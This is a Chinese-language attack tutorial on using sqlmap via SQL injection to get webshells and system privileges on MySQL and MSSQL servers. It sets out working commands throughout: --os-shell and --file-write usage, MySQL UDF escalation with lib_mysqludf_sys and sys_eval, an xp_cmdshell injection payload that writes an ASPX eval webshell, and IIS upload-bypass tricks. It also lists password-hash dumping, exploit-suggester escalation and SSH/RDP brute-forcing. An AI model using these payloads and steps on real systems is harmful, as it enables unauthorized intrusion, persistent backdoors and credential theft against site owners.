sqlmap注入获取webshell及系统权限

时间:2024-02-17 18:48:41

渗透思路千万条,只要有一条通往成功获取webshell的道路即可,所以不必一定纠结于必须要使用sqlmap

一. sqlmap获取webshell及提权常见命令

1. sqlmap常见获取webshell的相关命令

(1) MSSQL判断是否是DBA权限

--is-dba

(2) 数据库交互模式shell

--sql-shell

(3) 操作系统交互命令

--os-cmd=net user 这里一般是Windows的DOS命令或者Linux的终端命令

(4) 文件读取和写入命令

--file-read=RFILE  从后台数据库管理系统中读取文件

--file-write=WFILE  编辑后端数据库管理系统上的本地文件WFILE

--file-dest=DFILE  后端数据库管理系统写入文件的绝对路径

(5) 数据库权限提升

--priv-esc 数据库进程用户权限提升

(6) meterpreter提权(作者说实际测试并未成功过,可以当作一个思路来记录)

--os-pwn  获取一个OOB shell , meterpreter或者VNC

--os-smbrelay 一键获取一个OOB shell ,meterpreter或者VNC

--os-bof 存储过程缓冲区溢出利用

(7) 获取数据库root账号密码及其他账号密码,sa权限用户获取当前MSSQL下用户密码

--passwords 枚举数据库管理系统用户密码哈希值,程序会自动对密码进行破解,破解不了会列出hash让你自己破解

 

2. MySQL数据库直接连接提权

sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --os-shell

 

3. MySQL数据库sql-shell下UDF提权

(1) 连接数据库

sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --sql-shell

(2) 查看版本

select @@version;

(3) 查看插件目录

select @@plugin_dir;

(4) 操作sqlmap上传lib_mysqludf_sys到MySQL插件目录

sqlmap.py -d mysql:root:root@xx.xx.xx.xx:3306/test --file-write=D:/tmp/lib_mysqludf_sys.dll --file-dest=D::\\phpstudy\\bin\\mysql\\lib\plugin\\lib_mysqludf_sys.dll

(5) 创建sys_exec函数

CREATE FUNCTION sys_exec RETURNS STRING SONAME \'lib_mysqludf_sys.dll\'

(6) 创建sys_eval函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME \'lib_mysqludf_sys.dll\'

(7) 执行命令

select sys_eval(\'ver\');

select sys_eval(\'whoami\');

select sys_eval(\'net user\');

 

4. MSSQL直连数据库

1. 安装所需要的模块

pip install pymssql

pip install pyodbc

apt-get install unixodbc -y

按照上述安装,还是不成功,大家可以自己测试下,连接MSSQL数据库Windows下好多好用的连接工具

 

二. 直连获取shell(获取webshell或shell条件)

sqlmap -d mssql://sa:sa@192.168.91.131:1433/master --os-shell

1. PHP+MySQL类型网站获取webshell

(1) MySQL root账号权限,即配置MySQL连接的账号为root账号,不是root账号具备root权限也可

(2) GPC配置关闭,能使用单引号

(3) 有网站的绝对路径,且具备可以在文件夹写入文件的权限

(4) 没有配置secure-file-priv属性

 

2. MSSQL+ASP/ASP.net类型网站获取webshell条件

(1) 数据库用户是sa

(2) 能够创建xp_cmdshell

(3) 知道真实路径

(4) 可以通过echo命令生成shell

\';exec master..xp_cmdshell \'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx\';--

 

三. 获取webshell权限思路及命令

1. PHP类型网站获取webshell权限思路

(1) 获取os-shell

sqlmap.py -u "http://www.xxx.com/index.php?id=2" --os-shell

(2) 选择4PHP类型的语言

(3) 物理路径的选择

普通路径,指定路径,指定字典文件进行暴力破解,暴力搜索地址

(4) 获取webshell

在sqlmap中无法直接获取webshell,如果--os-shell整个命令执行完成,就会上传两个文件,sqlmap会给你提示上传的文件名,一个文件是后门文件,可以通过参数传递命令直接执行shell,另一个文件是文件上传功能页面,访问这个页面可以直接上传文件

(5) PHP获取webshell难点

在整个过程中获取网站的真实物理路径是最重要的,一般可以通过phpinfo函数,测试页面,及报错信息,搜素引擎,目录爆破的方式来获取网站的真实物理路径,如果获取到了管理员的账号,能够登录后台,如果后台有一些探针功能或者是系统运行情况的页面,那么也可以获取真实的物理路径,如果实在无法获取那只能暴力猜解或者社工等其他方式。

 

2. 直接写入webshell到网站

sqlmap.py -u "http://www.xxx.com/index.php?id=3" --file-write /opt/bmfx.php --file-dest /var/www/html/shell.php

bmfx.php是攻击者本地文件,shell.php是上传到目标站点的文件名称

 

3. os-shell下载文件执行

 

4. 通过sqlmap连接MySQL获取shell

 

5. 账号登录管理后台,寻找上传点

(1) 后台直接上传webshell

(2) 抓包构建绕过防护上传webshell

(3) IIS 6 畸形文件漏洞绕过,即上传1.asp;jpg图片一句话

(4) IIS 7 CGI解析漏洞,上传webshell图片文件,访问http://www.xxx.com/1.jpg/1.php

(5) FCK文件两次上传获取webshell

(6) 其他上传漏洞获取webshell

 

四. 获取system权限思路

1. MSSQL和MySQL数据库获取system权限

(1) 生成系统信息

systeminfo > bmfx.txt

(2) 使用windows-exploit-suggester.py 检查是否存在未打补丁的漏洞

(3) 找到漏洞对应exp直接提权

2. 直接获取system权限

有些服务器是直接使用高权限启动服务,可以通过sqlmap直接获取系统权限

3. 社工提权

有些root/sa账号对应的数据库密码就是系统Windows/Linux系统的管理员密码

4. 密码账号暴力破解

通过前面获取到系统准确的账号信息,可以尝试SSH/RDP账号的暴力破解